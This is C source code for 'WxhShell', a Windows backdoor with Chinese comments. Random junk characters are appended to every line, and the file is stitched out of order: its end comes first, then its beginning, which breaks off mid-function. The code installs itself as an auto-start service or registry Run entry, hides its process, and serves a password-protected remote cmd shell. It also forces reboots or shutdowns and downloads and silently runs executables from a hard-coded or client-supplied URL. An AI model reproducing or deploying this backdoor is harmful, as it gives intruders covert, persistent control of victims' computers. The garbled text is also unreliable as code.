    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4C_1wk('  
    if(Boot(SHUTDOWN)) 5!Y\STn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wc+(xk  
    else { 6*S/frE  
    closesocket(wsh); 2(3Q#3V  
    ExitThread(0); YB7A5  
    } urx?p^c  
    break; J9 NuqV3  
    } #'%ii,;w Q  
  // 获取shell :'ZR!w  
  case 's': { sgK =eBE  
    CmdShell(wsh); w2'z~\dG8  
    closesocket(wsh); Z'k?lkB2i  
    ExitThread(0); 2'M5+[8y8  
    break; c)^A|{,G  
  } 5cQ]vb  
  // 退出 jmv=rl>E*  
  case 'x': { J0R{|]W8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8w[O%  
    CloseIt(wsh); >@bU8}rT  
    break; +<xQF  
    } -YQS\@?  
  // 离开 ;k#_/c  
  case 'q': { RbxQTM_:M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e> 9X  
    closesocket(wsh); 7lwI]/ZH*  
    WSACleanup(); ti9e(Jt!O  
    exit(1); DIQ30(MS  
    break; DU"Gz!X]Jd  
        } k&t.(r\  
  } x2)WiO/As  
  } Hn)? xw]x  
^J7q,tvbJ  
  // 提示信息 ['\R4H!x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `{Oqb  
} Wq}6RdY$ZA  
  } -wC}JVVcK  
w ]T_%mdk  
  return; _)Txg2?=  
} <$A/ ('  
p.(+L^-=  
// shell模块句柄 0H +nVR  
int CmdShell(SOCKET sock) Rh"O$K~  
{ _$IWr)8f  
STARTUPINFO si; zB+e;x f|  
ZeroMemory(&si,sizeof(si)); C,> n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h+H+>,N8`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6%6dzZ  
PROCESS_INFORMATION ProcessInfo; X!z-J>  
char cmdline[]="cmd"; ~1*37w~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |*zgX]-+;  
  return 0; |-/@3gPO  
} L6nsVL&  
F^Jz   
// 自身启动模式 k^K76mB  
int StartFromService(void) {*hFG:u  
{ 7)#JrpTj%  
typedef struct #| g h  
{ _8 K|2$X  
  DWORD ExitStatus; xh#_K@8  
  DWORD PebBaseAddress; LHZsmUM(dg  
  DWORD AffinityMask; sxF2ku4A  
  DWORD BasePriority; ~e[qh+  
  ULONG UniqueProcessId; 8b 7I\J`  
  ULONG InheritedFromUniqueProcessId; qrw*?6mSQ  
}   PROCESS_BASIC_INFORMATION; =eW4?9Uq  
*zweZG8:  
PROCNTQSIP NtQueryInformationProcess; K-Pcew^?  
1qn/*9W}=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X.#9[3U+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; FPK=Tr:b  
v.:Q& ]  
  HANDLE             hProcess; `/R. 5;$|  
  PROCESS_BASIC_INFORMATION pbi; o+}1M  
X~o;jJC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'NjeF&#6  
  if(NULL == hInst ) return 0; &DYC3*)Jih  
'*`n"cC:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); snkMxc6c[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s@%>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SbL7e#!!  
X04LAYY_u  
  if (!NtQueryInformationProcess) return 0; IpzU=+h  
m$_l{|4z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *tpS6{4=#7  
  if(!hProcess) return 0; 8_`C&vx  
Txe*$T,(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "X?Zw$gRud  
v?3xWXX,  
  CloseHandle(hProcess); o\Fv~^  
,s}&|+ '"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uInI{>  
if(hProcess==NULL) return 0; (?,jnnub  
ESIJ QM-[+  
HMODULE hMod; H[pvC=O=  
char procName[255]; NzhWGr_x'  
unsigned long cbNeeded; TZ n2,N  
751Q i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); UL~~J[1r  
HXdo:#xEO  
  CloseHandle(hProcess); /u]#dX5  
=$^}"}$  
if(strstr(procName,"services")) return 1; // 以服务启动 M54czo=l  
~LF M,@  
  return 0; // 注册表启动 L* 6<h  
} ^P [#YO  
A`(Cuw-o  
// 主模块 6yYd~|T.Fl  
int StartWxhshell(LPSTR lpCmdLine) n?q+:P  
{ s` , g4ce`  
  SOCKET wsl; o^d|/;  
BOOL val=TRUE; }NV<k  
  int port=0; zU0JwZi  
  struct sockaddr_in door; 86qQ"=v  
dn42'(p@G  
  if(wscfg.ws_autoins) Install(); Ik5-ooZ&{  
a.O"I3{?h  
port=atoi(lpCmdLine); (<OmYnm  
Eoo[H2=^H  
if(port<=0) port=wscfg.ws_port;  1v3  
?0z/i^I  
  WSADATA data; Ei<+{P(t0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _m a;b<I/<  
gLo&~|=L-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >U4bK^/Bp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P$ b5o  
  door.sin_family = AF_INET; fyx Q{J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W S9:*YH  
  door.sin_port = htons(port); i8EKzW  
w}07u5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ut1s~b1  
closesocket(wsl); MD4m h2  
return 1; yVPFH~1@\  
} WoSKN7*  
hD,^mru  
  if(listen(wsl,2) == INVALID_SOCKET) { hOIg 7=v  
closesocket(wsl); Rdd9JJsVd  
return 1; \b)P4aL  
} q9^.f9-  
  Wxhshell(wsl); <0l:B ;3  
  WSACleanup(); 8) `  
b-c6.aKf|  
return 0; O7&OCo|b%>  
vj#m#1\ f  
} \ sz](X  
s1%2({wP  
// 以NT服务方式启动 [P)](8nR[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G[zysxd  
{ mkBQ TQGT  
DWORD   status = 0; .rDao]K  
  DWORD   specificError = 0xfffffff; 8|hi2Qeu,c  
"4*QA0As  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cZWW[i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^b.fci{1m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <X97W\  
  serviceStatus.dwWin32ExitCode     = 0; +@@( C9  
  serviceStatus.dwServiceSpecificExitCode = 0; 5':j=KQE_  
  serviceStatus.dwCheckPoint       = 0; h=NXU9n%'  
  serviceStatus.dwWaitHint       = 0; 4dSAGLpp  
6,R<8a;Wn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3] U/^f3  
  if (hServiceStatusHandle==0) return; dftX$TS  
`\BBdQ#bH  
status = GetLastError(); ~ :B/`1[m  
  if (status!=NO_ERROR) 0R&7vn  
{ 3`"k1W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hGUQdTNP  
    serviceStatus.dwCheckPoint       = 0; un,W{*s8*  
    serviceStatus.dwWaitHint       = 0; 8h|~>v  
    serviceStatus.dwWin32ExitCode     = status; ]HG> Og  
    serviceStatus.dwServiceSpecificExitCode = specificError; MAc/ T.[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~~ty9;KYL  
    return; ZU9RvtbKB  
  } 8Tc:TaL  
f+c{<fX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L#_QrR6Sny  
  serviceStatus.dwCheckPoint       = 0; bG)6p05Oa  
  serviceStatus.dwWaitHint       = 0; >4T7D My  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4)N~*+~\h  
} h{E9rc1,  
lg jY\?  
// 处理NT服务事件,比如:启动、停止 Lg6>\Z4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x1#6~283  
{ )YLZ"@  
switch(fdwControl) _p+q)#.W  
{ ljh,%#95=  
case SERVICE_CONTROL_STOP: B8V85R  
  serviceStatus.dwWin32ExitCode = 0; 6y@o[=m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DsiyN:o'+  
  serviceStatus.dwCheckPoint   = 0; Yd~Tzh  
  serviceStatus.dwWaitHint     = 0; 0@#d($'1?Z  
  { @y# u!}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JCITIjD7=  
  } CT{ X$N  
  return; /Dk`?  
case SERVICE_CONTROL_PAUSE: LkXF~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Lb2/ Te*  
  break; *>j4tA{b@v  
case SERVICE_CONTROL_CONTINUE: Tr HUM4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @v}M\$N?  
  break; .-p?skm=a  
case SERVICE_CONTROL_INTERROGATE: j 2Jew  
  break; y;LZX-Z-  
}; ?kc,}/4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A^ry|4`3(  
} VDv>I 2%  
tpKQ$) ed  
// 标准应用程序主函数 <UJ5n) }"\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &)Iue<&2  
{ 5kj=Y]9\I  
C5#$NV99p  
// 获取操作系统版本 :Us NiR=l  
OsIsNt=GetOsVer(); 8DlRD$_:&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); of.=n  
}j#c#''i  
  // 从命令行安装 2wZyUB;  
  if(strpbrk(lpCmdLine,"iI")) Install(); !2]G.|5/A  
`ve5>aw0_Y  
  // 下载执行文件 4*+)D8  
if(wscfg.ws_downexe) { T(eNK c2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }nNCgH  
  WinExec(wscfg.ws_filenam,SW_HIDE); , @6_sl  
} eZRu{`AF*  
?u M2|Nk  
if(!OsIsNt) { mv9@Az9  
// 如果时win9x,隐藏进程并且设置为注册表启动 qVJC O-K|  
HideProc(); ^G(+sb[t  
StartWxhshell(lpCmdLine); #c2JWDH1F  
} uTUkRqtD!  
else N6S}u@{J~N  
  if(StartFromService()) ;KW}F|  
  // 以服务方式启动 fYZ)5xnj  
  StartServiceCtrlDispatcher(DispatchTable); km!jxs  
else <UO'&?G  
  // 普通方式启动 +Tp>3Jh2  
  StartWxhshell(lpCmdLine); EWoGdH|  
KZTT2KsYl  
return 0; SNf*2~uq)  
} lA7\c#  
\RyW#[(  
QW}N,j$  
'd=B{7k@  
=========================================== &r !*Y&  
'${xZrzmt  
D& #ph%U,P  
^T/d34A;SP  
w#`E;fN'  
{3=]cLtt  
" pD%Pg5p`  
4P}<86xk  
#include <stdio.h> #a"gW,/K  
#include <string.h> IG~d7rh"  
#include <windows.h> XQL]I$?  
#include <winsock2.h> Q68q76  
#include <winsvc.h> !XS ;&s7[*  
#include <urlmon.h> go$zi5{h#  
SdBo sB3v>  
#pragma comment (lib, "Ws2_32.lib") Q+'QJ7fw'|  
#pragma comment (lib, "urlmon.lib") ,v+~vXO&\  
_kT$/k  
#define MAX_USER   100 // 最大客户端连接数 |\/Y<_)JD  
#define BUF_SOCK   200 // sock buffer (y!<^ Q  
#define KEY_BUFF   255 // 输入 buffer F2RU7o'f.  
:Sd iG=t  
#define REBOOT     0   // 重启 Aaq!i*y  
#define SHUTDOWN   1   // 关机 x0_$,Tz@  
}*I:0"WH  
#define DEF_PORT   5000 // 监听端口 0 lsX~d'W  
o72G oUfs  
#define REG_LEN     16   // 注册表键长度 \"@BZ.y  
#define SVC_LEN     80   // NT服务名长度 v9s /!<j  
n[pW^&7x  
// 从dll定义API v-mhqhb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [1{uK&$e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^X/[x]UOT@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E)w^odwMU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); INj2B@_  
*XZlnO  
// wxhshell配置信息 4r'f/s8"#  
struct WSCFG { Dy_Za.N2  
  int ws_port;         // 监听端口 y0D="2)  
  char ws_passstr[REG_LEN]; // 口令 k&PxhDf  
  int ws_autoins;       // 安装标记, 1=yes 0=no qXJBLIG  
  char ws_regname[REG_LEN]; // 注册表键名 &}G2;O}3  
  char ws_svcname[REG_LEN]; // 服务名 )a%kAUNj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2pEr s|r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Bdd>r# ]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0R%R2p'wG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ki[Yu+';}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9'|NF<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =N%;HfUD  
?tLBEoUmKT  
}; y9OxPq.Cy  
0HRLTgIC  
// default Wxhshell configuration xi2!__  
struct WSCFG wscfg={DEF_PORT, hI{M?LQd  
    "xuhuanlingzhe", i?&g;_n^  
    1, H#l uG_)  
    "Wxhshell", +84JvOkWi  
    "Wxhshell", Hki  
            "WxhShell Service", & A%*sD6  
    "Wrsky Windows CmdShell Service", -~-BQ!!(  
    "Please Input Your Password: ", ah\yw  
  1, A[@xTq s{{  
  "http://www.wrsky.com/wxhshell.exe", ir%?J&C+t  
  "Wxhshell.exe" tGcp48R-:+  
    }; w{1DwCLKq  
&v\  
// 消息定义模块 ,dM}B-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,Mp/Y>f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &nk[gb o\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G92Ya^`  
char *msg_ws_ext="\n\rExit."; JC6Bs`=s~  
char *msg_ws_end="\n\rQuit."; O*dN+o  
char *msg_ws_boot="\n\rReboot..."; s6|Ev IVM  
char *msg_ws_poff="\n\rShutdown..."; _S[@d^cY  
char *msg_ws_down="\n\rSave to "; 451TTqc  
hqA6%Y^k  
char *msg_ws_err="\n\rErr!"; rG _T!']~  
char *msg_ws_ok="\n\rOK!"; (c<MyuWb  
V9tG2m Lf>  
char ExeFile[MAX_PATH]; Jf-4Q!  
int nUser = 0; 7r?s)ZV  
HANDLE handles[MAX_USER]; CXr]V"X9  
int OsIsNt; YM*{^BXp  
gxS*rzCG  
SERVICE_STATUS       serviceStatus; 0Y8Si^T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Wu\{)g{&  
Bg?f}nu7  
// 函数声明 > :s#MwIwm  
int Install(void); [4u.*oL&  
int Uninstall(void); -Q6njt&  
int DownloadFile(char *sURL, SOCKET wsh); tw/~z2G  
int Boot(int flag); G{,X_MZ%  
void HideProc(void); cg-\|H1  
int GetOsVer(void); 9 -\.|5;:  
int Wxhshell(SOCKET wsl); [f9U9.fR  
void TalkWithClient(void *cs); #@QZ  
int CmdShell(SOCKET sock); [J'O5" T  
int StartFromService(void); .]_ (>^6  
int StartWxhshell(LPSTR lpCmdLine); FvpI\%#~  
 0(2r"Hi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9%i|_c}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p,hDZea  
%QW1?VVP  
// 数据结构和表定义 5m _$21  
SERVICE_TABLE_ENTRY DispatchTable[] = Bw ]Y7 1  
{ +} al_.  
{wscfg.ws_svcname, NTServiceMain},  Hy _ (  
{NULL, NULL} w^e5"og]  
}; >}tm8|IHoo  
&&/2oP+z  
// 自我安装 @ j/UDM  
int Install(void) :`~;~gW<  
{ k?%?EsR  
  char svExeFile[MAX_PATH]; bG`aF*10)!  
  HKEY key; dWhki|c  
  strcpy(svExeFile,ExeFile); s}NE[Tw  
{s8v0~  
// 如果是win9x系统,修改注册表设为自启动 E>t5/^c)*w  
if(!OsIsNt) { HAof,* h$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \>b :  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _sEkKh8x  
  RegCloseKey(key); osS?SuQTE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JVPl\I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u|v2J/_5Y  
  RegCloseKey(key); ,i>{yrsOh  
  return 0; VM 3~W  
    } s  bl> i  
  } B:-qUuS?R  
} s<f<:BC  
else { 73b(A|kQ@  
Qy>n]->%  
// 如果是NT以上系统,安装为系统服务 N,F mu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G4=R4'hC  
if (schSCManager!=0) hRU.^Fn#%  
{ &LRO^[d  
  SC_HANDLE schService = CreateService lr>P/W\  
  ( f~HC%C YH  
  schSCManager, @WmEcX|  
  wscfg.ws_svcname, \e89 >m  
  wscfg.ws_svcdisp, bi^[Eh  
  SERVICE_ALL_ACCESS, Pz+2(Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sop *?0  
  SERVICE_AUTO_START, ?<YQ %qaW7  
  SERVICE_ERROR_NORMAL, 8F?6Aq1B  
  svExeFile, F/91Es  
  NULL, %XX(x'^4  
  NULL, ~N<zv( {lG  
  NULL, 5cr d.1@^  
  NULL, (#uz_/xXa  
  NULL #le1 ^ <w7  
  ); LHQ$0LVt>T  
  if (schService!=0) L_TM]0D>7  
  { |@6t"P]@  
  CloseServiceHandle(schService); :gD=F&V  
  CloseServiceHandle(schSCManager); U3R;'80 f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); MLbmz\8a  
  strcat(svExeFile,wscfg.ws_svcname); 3}: (.K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yK1@`3@?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k0@b"y*  
  RegCloseKey(key); p\A!"KC  
  return 0; b0QC91   
    } PV[ Bqt  
  } fi |k)  
  CloseServiceHandle(schSCManager); JDp"!x{O  
} zEHX:-f8  
} <'{*6f@n  
:eL{&&6  
return 1; `%%/`Qpj;  
} zSJSus  
uq.!{3)8  
// 自我卸载 J>@T'#  
int Uninstall(void) 9L2]PU v  
{ >s 5i  
  HKEY key; i?{cB!7  
sbeS9vE  
if(!OsIsNt) { ><t4 f(d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8>\tD  
  RegDeleteValue(key,wscfg.ws_regname); J@ CKgE  
  RegCloseKey(key); F.]D\"0`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mm&#I[:  
  RegDeleteValue(key,wscfg.ws_regname); ECZ`I Z.  
  RegCloseKey(key); $N;Nvp2  
  return 0; `#/0q*$  
  } *H2@lrc  
} 9oe=*#Ig1m  
} @N tiT,3k  
else { t<F*ODn  
`(2Y%L(r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CXI%8eFXe$  
if (schSCManager!=0) J~}%j.QQ7  
{ hDn?R}^l{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?M<q95pL  
  if (schService!=0) 3PLYC}Jq  
  { PVCFh$pnw  
  if(DeleteService(schService)!=0) { q(Q$lRj/I-  
  CloseServiceHandle(schService); ?RP&XrD  
  CloseServiceHandle(schSCManager); iE6?Px9]  
  return 0; uZ1b_e0SGu  
  } |c<h& p  
  CloseServiceHandle(schService); Oq`CKf  
  } f/?uo sS  
  CloseServiceHandle(schSCManager); 6Z}8"VJr {  
} Z,jR:_ p  
} efT@A}sV  
m }J@w~#  
return 1; w \U?64  
} vtA%^~0  
=._V$:a6o  
// 从指定url下载文件 yhuzjn  
int DownloadFile(char *sURL, SOCKET wsh) M:PEY*4H  
{ HQy:,_f@  
  HRESULT hr; H Q_IQ+  
char seps[]= "/"; ++gWyzD  
char *token; 762c`aP_(  
char *file; 6E)emFkQ  
char myURL[MAX_PATH]; TJO?BX_9  
char myFILE[MAX_PATH]; GJ9'i-\*\  
iAl.(j  
strcpy(myURL,sURL); j;7:aM"BQW  
  token=strtok(myURL,seps); }wIF$v?M  
  while(token!=NULL) d,5,OJY2f  
  { ]B2%\}c  
    file=token; k#oe:u`<  
  token=strtok(NULL,seps); Y\ C"3+I  
  } j*6>{_[  
_{ Np _ (g  
GetCurrentDirectory(MAX_PATH,myFILE); J4woZ{d  
strcat(myFILE, "\\"); +~7x+6E  
strcat(myFILE, file); .7<6 zG6J  
  send(wsh,myFILE,strlen(myFILE),0); ?niv}/'%O  
send(wsh,"...",3,0); ns&3Dh(IVP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )` ^/Dj;  
  if(hr==S_OK) S^q%+Z  
return 0; jap5FG+2  
else 59l9^<{A  
return 1; Clo}kdkd_  
)Y](Mj!D  
} EK%J%NY  
~_]i'ii8  
// 系统电源模块 r,r"?}Z  
int Boot(int flag) ty>9i]Y-  
{ u[<ij  
  HANDLE hToken; h N U.y  
  TOKEN_PRIVILEGES tkp; sqv!,@*q  
'}N4SrU$  
  if(OsIsNt) { oG$OZTc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >4^,[IO/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /* G-\|  
    tkp.PrivilegeCount = 1; ]=%oBxWAP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U&'Xs z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8+n *S$  
if(flag==REBOOT) { wqasI@vyu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &-c{  
  return 0; tJa*(%Z?f  
} mb?r{WCi  
else { ) >H11o{&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X 2Zp @q(  
  return 0; p6&6^v\  
} ']:>Ww.S  
  } ?Z2_y-  
  else { cl{kCSZo.z  
if(flag==REBOOT) { IQ $/|b/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Htm;N2$d  
  return 0; qCI0[U@  
} #ULzh&yO  
else { b(Nxk2uv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1Xkl.FcFw  
  return 0; g/W&Ap;qVL  
} Da)H/3ii  
} Ge=|RAw3  
)~{8C:  
return 1; *?x[pqGq  
} er0y~  
ai]KH7  
// win9x进程隐藏模块 A5IW[Gu!  
void HideProc(void) j\\uW)ibG  
{ Vwpy/5Hmp  
Blox~=cW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tL\L4>^7T  
  if ( hKernel != NULL ) 7Ml OBPh  
  { vduh5.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9!,f4&G`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p1']+4r%  
    FreeLibrary(hKernel); N+zR7`AG8  
  } y(yBRR  
mNPz%B  
return; Z5 Tu*u=  
} G4,.kK  
_ YcIG OL  
// 获取操作系统版本 CTf39R|7_  
int GetOsVer(void) ,aU8. J_U  
{ THcX.%ToT  
  OSVERSIONINFO winfo; [N_)V kpr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jyFKO[s\X  
  GetVersionEx(&winfo); m~`f0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <y<   
  return 1; KSR'X0'  
  else axM(3k.n  
  return 0; b" kL)DL1L  
} @0D  
s(r1q$5  
// 客户端句柄模块 n*m"yp  
int Wxhshell(SOCKET wsl) ~kOXMLRg  
{ 2SXy)m !  
  SOCKET wsh; Gxw>.O){  
  struct sockaddr_in client; 4p&YhV7j)o  
  DWORD myID; .GiQC {@9w  
|HQFqa <  
  while(nUser<MAX_USER) nyx(0  
{ Tilw.z  
  int nSize=sizeof(client); yhxZ^ (I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [-hsG E  
  if(wsh==INVALID_SOCKET) return 1; @ 5V3I^  
cdv0:+[P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^o[(F<q  
if(handles[nUser]==0) "vo o!&<  
  closesocket(wsh); psAr>:\3  
else S20E}bS:>  
  nUser++; wT&P].5n  
  } K{`3,U2Wx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DxzNg_E]  
"64D.c(r$  
  return 0; qj*77  
} <(x!P=NM-  
nzl3<Ar  
// 关闭 socket :Y[?@/m4  
void CloseIt(SOCKET wsh) {TC_ 4Y|8  
{ hEfFMi=a`  
closesocket(wsh); x-H R[{C  
nUser--; %!V=noo  
ExitThread(0); T-.Bof(?w  
} ^dR gYi"(A  
wQrD(Dv(yA  
// 客户端请求句柄 RO.bh#A$  
void TalkWithClient(void *cs) : G0^t  
{ FK,Jk04on  
dRXdV7-!  
  SOCKET wsh=(SOCKET)cs; x}jiHV@=  
  char pwd[SVC_LEN]; 'ExTnv ~  
  char cmd[KEY_BUFF]; pTE.,~-J^j  
char chr[1]; B0ZLGB  
int i,j; %VGQ{:  
T#=&oy7  
  while (nUser < MAX_USER) { M<3m/l%`Y  
r=ht:+m  
if(wscfg.ws_passstr) { cE3V0voSw1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ? W2W y\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r&O:Bt}x  
  //ZeroMemory(pwd,KEY_BUFF); csms8J  
      i=0; skBzwVW I  
  while(i<SVC_LEN) { ; d :i  
lKLb\F%  
  // 设置超时 +KHk`2{y~  
  fd_set FdRead; Ov|Uux  
  struct timeval TimeOut; m.>y(TI  
  FD_ZERO(&FdRead); 7w5 L?,a  
  FD_SET(wsh,&FdRead); .ot[_*A.FD  
  TimeOut.tv_sec=8; m*\XH DB  
  TimeOut.tv_usec=0; y*5$B.u`.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jrm L>0NZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o;J_"' kP  
I.'sK9\Zp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xXNL UP  
  pwd=chr[0]; <UBB&}R0  
  if(chr[0]==0xd || chr[0]==0xa) { e(EXQP2P>  
  pwd=0; Yc~c(1VRz  
  break; nISfRXU;  
  } H^0`YQJ3  
  i++; FW!1 0K?  
    } ARa9Ia{@  
YhJ*(oWL  
  // 如果是非法用户,关闭 socket mx")cGGQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `I)ftj%  
} ] KR\<MJK  
bcE%EQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mc}r15:<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YLe$Vv735  
Mf.:y  
while(1) { .[hbiv#  
#>(h!lT_  
  ZeroMemory(cmd,KEY_BUFF); GeCyq%dN  
Zmr*$,v<y  
      // 自动支持客户端 telnet标准   sp&)1?!M  
  j=0; * 57y.](w  
  while(j<KEY_BUFF) { 4I<U5@a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pk:2>sx/  
  cmd[j]=chr[0]; qC$h~Epp4  
  if(chr[0]==0xa || chr[0]==0xd) { ^fbw0  
  cmd[j]=0; Jz'8|o;^  
  break; J3#  
  } ,K[}Bz  
  j++; 6$"0!fl>  
    } "\u_gk{g  
A]CO Ysc  
  // 下载文件 zM mV Yx  
  if(strstr(cmd,"http://")) { |h75S.UY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xDTDfhA  
  if(DownloadFile(cmd,wsh)) .~fAcc{Qj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VS_xC $X!S  
